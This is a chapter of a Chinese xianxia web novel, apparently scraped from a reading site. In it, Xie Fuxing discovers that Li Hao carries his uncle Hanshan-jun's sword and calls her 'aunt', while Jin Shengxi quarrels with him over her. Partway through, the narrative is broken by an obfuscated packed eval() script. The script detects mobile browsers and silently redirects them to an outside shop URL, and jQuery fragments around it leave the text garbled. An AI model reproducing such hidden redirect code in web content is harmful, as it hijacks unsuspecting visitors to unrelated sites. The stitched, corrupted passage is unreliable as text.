20.夜雨敲花到天明

作品:《宿敌的妻子不能是我的吗

    “李姑娘的佩剑倒是眼熟,能否让我看看?”


    李好手臂一僵,完蛋,忘了恰逢雨连天这一茬了,当初金胜昔都能一眼认出来,现今只套了个剑鞘,又怎么能瞒过谢濯玉的亲外甥。李好慢吞吞地放下胳膊,将恰逢雨连天重新盖在身后,对着谢复行露出一个讪讪的笑来。一旁金胜昔也不骂人了,也不赶鸟了,匆匆拦在李好身前,大声道:“谢复行你怎平白无故地看人家剑,太无礼了。”


    只是那副色厉内荏的模样,任谁都能看出他的心虚。


    谢复行来来回回打量了两人好几遍,蓦地笑出声,眼睛微眯,道:“金满,原来你知道啊。”


    两人目移。


    三人气氛凝滞,挡在糖糕摊子前,还跟着一堆随从,来来往往之人皆要瞄上一眼,看看是不是有什么热闹可凑,一时也无人敢驱赶。身后江逾白走上前,低声道:“此地繁杂,我在三月楼订了雅间,公子们换个地方罢。”


    街上人声鼎沸,彩灯流转。


    ——


    “就是这样了,这剑是你家寒山君送给道侣的定情信物,送给人家的,可不要想着要回去。”


    金胜昔说完,端起茶杯抿了一口,还悄摸摸地抛给李好一个得意的眼神。


    谢复行沉默。


    李好也沉默,她恨不得以手掩面,以头抢地耳。到了茶楼,她人还没来得急坐稳,心里盘算着拿出无尽海崖好心道长赐剑那一套说辞,能不能说服谢复行,如果不行再看情况买点儿惨,结果金胜昔这个大嘴巴不知都脑补了些什么首席师兄和卑微杂役的虐恋情深爱恨纠葛,添油加醋地说了许多,倒豆子似地,这么能说,怎么不去说书啊。


    那厢谢复行似乎还没缓过劲儿,也摸起茶杯灌了一口。他作为一个谢家人,从小听着一生一世一双人的家规下长大,生不复娶,死不再嫁。谢氏人也以坚贞闻名,当年祖父空月尊病重,力排众议也要将祖母拥上家主之位,将偌大一个谢氏交给祖母一个外姓人。父亲也是,宁愿割发断亲,抛弃姓氏也要入赘谢家,他说我心如磐,九死不悔。


    追溯千年前,谢家祖先不过是一个教书先生,为复活亡妻,才踏上了修仙之路,就连族徽,都是象征忠贞的观音垂泪——一株双生双死的兰花。


    谢氏易出情种。


    可舅舅不一样,他站得太高了。谢复行以为舅舅那样的人,此生注定孤生一人,身赴大道。毕竟——谢复行其实有些害怕舅舅,不,比起舅舅,他更愿意称他为寒山君。


    谢复行从小就知道,他有一个天之骄子的舅舅,世人歌颂他的天赋,称赞他的品行,夸耀他的姓氏,将谢氏一族也捧上高处。


    于他而言,寒山君是一轮永不坠落的月亮。


    “你不是寒山君的外甥么,怎么不修剑?”


    于是他修剑了。


    “你不是寒山君的外甥么,怎么学的这样慢?”


    于是他彻夜练剑,每日三千次挥剑,直至天色既白。


    “你不是寒山君的外甥么,怎么不会寒山一照?”


    于是他去恳求寒山君,让他将寒山一照教给他。月光澄澈如雪,照得舟不渡湖面一片白,唯湖中孤岛一点。寒山君看他满头大汗地耍完一套明月剑法,垂眸抚摸着他的头,问他:


    “月光冷么?”


    谢复行喘着气,摇头,月光怎么会冷?


    寒山君只是笑,道:“剑修一道不适合你,玉奴,你要追寻自己的道。”


    那人身披浅绿素衣,目光是雨夜的春灯,是冬岁的大日,是温掉的半壶茶,明明站在他面前,却若乘风将去。


    后来他见到白玉京那位,玉京万世仙尊,世间唯一的神明。彼时他随着众人跪伏在地,大殿耸立着二十四对黑曜石石柱,巨大的穹顶笼罩,两侧分别是一个小穹顶,环绕的琉璃雕刻着众生安居乐业的场面,四周墙龛上的是七十二神雕像,叙述浮生史上神明同行万年间繁复华丽的壁绘,王氏天上人间第一品牡丹、谢氏观音垂泪兰、金氏宝相莲、宋氏素竹……各家视为高贵的徽纹就如此作为装饰铺在地上、墙上,踩踏在众人脚下。神宫辉煌,仙鸟盘旋。他抬头,入目是白玉铺就的台阶,金色锦织的厚绒地毯,地毯沿阶而上,两侧是不知什么金属铸就的树状烛台,三丈高,枝杈繁多,白烛亭立,烛火摇曳,台阶尽头是神座。


    高台上,玉京万世仙尊斜倚着,白发流泻,漫不经心地投下视线,全身笼罩着一层流转的白光,隐隐约约看不太真切。


    谢复行才恍然惊觉,那个月光如雪的夜,寒山君看见他了么?他眼中有山夜湖色,有寒梅堆砌,有月光纷纷,有姐姐的儿子。


    独独没有他。


    对于寒山君来说,他是谢复行,是谢妄,是玉奴,可谁是玉奴又有什么区别?


    众生皆苦,众生皆无。


    神的眼中,能看见众生么?


    谢复行渐渐明白,慈悲和冷漠,原来并不冲突。


    这样的寒山君,竟然就这样私下结契了,还将命剑都送了出去。


    谢复行喉咙发涩,他想笑,嘴角却有些僵,他又喝了一口清茶,看向坐在一旁拘谨着吃茶糕的少女,正对上一双通透明亮的浅眸,横冲直撞地瞧过来。


    “谢公子。”少女似乎惊着了,嘴里含糊着,用力将最后一口糯米糕咽了下去。她生得好平淡,眼睛不大,鼻梁不高,嘴唇也不红,梳着剑修最常见的混元髻,发簪更是可笑,是一根枯树枝,碎发毛绒绒地呲出来,是十万青山中最不起眼的一座。


    这是他的舅母么?


    年纪看着和他一般大,甚至比他还小,谢复行脑袋里混乱至极,一边是月夜下的寒山君,一边是捧着茶吃的少女。


    真可笑,月亮落凡尘了。


    他又回到了那个夜晚,寒山君拒绝了他,看不见他的剑,也看不见他的存在。谢复行所有的努力尽赴东流,练剑,苦修,锻骨,他知晓自己并非天才,也知晓自己终其一生都追不上月亮,他以为,至少,至少能得一句夸赞。可什么都没有,年幼的玉奴浑浑噩噩地返回住处,蜷缩在榻,夜雨敲花,点滴天明,一地花褪残红。


    谢复行再也不碰剑了。


    寒山君会看见她么?会夸赞她么?会教她寒山一照么?


    “舅母。”


    谢复行突然喊了一声,就看见少女一抖,一双眼猛然睁大,差点从凳子上跳下来。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791910|189693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “谢公子,你接受的也太快了罢,要不得要不得……”


    谢复行只是笑,笑得温文尔雅,仿佛凭空多出来一个舅母,于他而言并不是什么难以接受的事情,他道:


    “舅舅教过舅母学剑吗?”


    李好连忙摆手,道:“没有没有,他只教我读书,认了几个字,就《千字文》,我还记得几句,要不给您背两句?”


    谢复行轻叹,原本轻言慢语的温和声音含着某种难以描述的失落:“他竟亲自教您认字么……”


    李好被谢复行看得发毛,只好向递眼神金胜昔求助,那边正吃茶的金胜昔也摸不着头脑,试探着出声:“喂,谢复行,你没事罢?”


    谢复行笑了,道:“我能有什么事,只是金胜昔,昨日在玉阶台上,你口里天大的事,就是此事罢,你竟然瞒着我,若不是我眼尖,自己发现恰逢雨连天,你又打算瞒我多久?”


    金胜昔不甘道:“又不是我自愿的,离涯君不允许我透露出去,我能怎么办?你昨儿还骂我没长脑子,我可都还记着呢。况且你们谢家对大师兄都那么无情,说断绝关系就断绝关系,谁知道会怎么对她?”


    谢复行没理会金胜昔,转头面向李好,道:“舅母想要回舟不渡么,家里舅舅的东西都还在,他的湖心岛上近来梅花开得正好,祈春大会还有些日子,不如随我去南州罢,祖母和母亲肯定也想见你一面,她们都很好相处的。”


    “谢复行!”金胜昔怒道:“你怎么张口就拐人,盈光尊和寒枝真人怎么就好相处了,我先邀请的,就算要去,也是去莲生处。”


    谢复行慢条斯理,轻啜了一口茶,也丝毫不肯留情地反驳道:“金胜昔,你又有什么身份呢,舅母是我谢家人,自然该随我回舟不渡。”


    金胜昔拍桌,道:“哪里是谢家人了,寒山君都被你祖母除名了。”


    “啾!”


    一听到这种话题,律令就起劲,一张鸟嘴绝不示弱地乱叫。


    金胜昔又怒:“走开,你这破鸟,瞎凑什么热闹。”


    眼见着,两人一鸟你一句我一句地吵了起来,李好没眼看,摸了几块糯米糕揣进袖袋里,压着恰逢雨连天,准备偷溜。他们喜欢吵就去吵罢,关她何事?吃饱喝足,开溜开溜,眼不见心不烦。至于门口站着的江逾白,李好瞪了过去,比了个嘘的姿势,又划了下脖子,眼神凶狠,江逾白点了点头,表示明白。


    李好就这样绕过屏风,头一甩,哼了一声,拉开门,僵住。


    一道黑色身影无声站在门口,眉眼低垂,不知听了多久。


    李好退了两步,尬尴笑道:“呵呵,君上,您怎么来这三月楼了?”


    王从道斜睨了她一眼,道:“怎么,不能来么?”


    “能来能来,弟子还以为君上是来找我的。”李好连连点头,拽出袖袋里散成渣的茶糕,笑道:“我这里有好吃的点心,君上要吃吗?”


    王从道哼了一声,转身离去,他墨发落了满身,过长的发尾轻摇,还沾着千尺雪的白雪,星星点点,萧萧肃肃。一句话仿佛在唇齿里徘徊了良久,和着门外的喧嚣和风雪,缱缱绻绻的。


    “谁要找你啊……”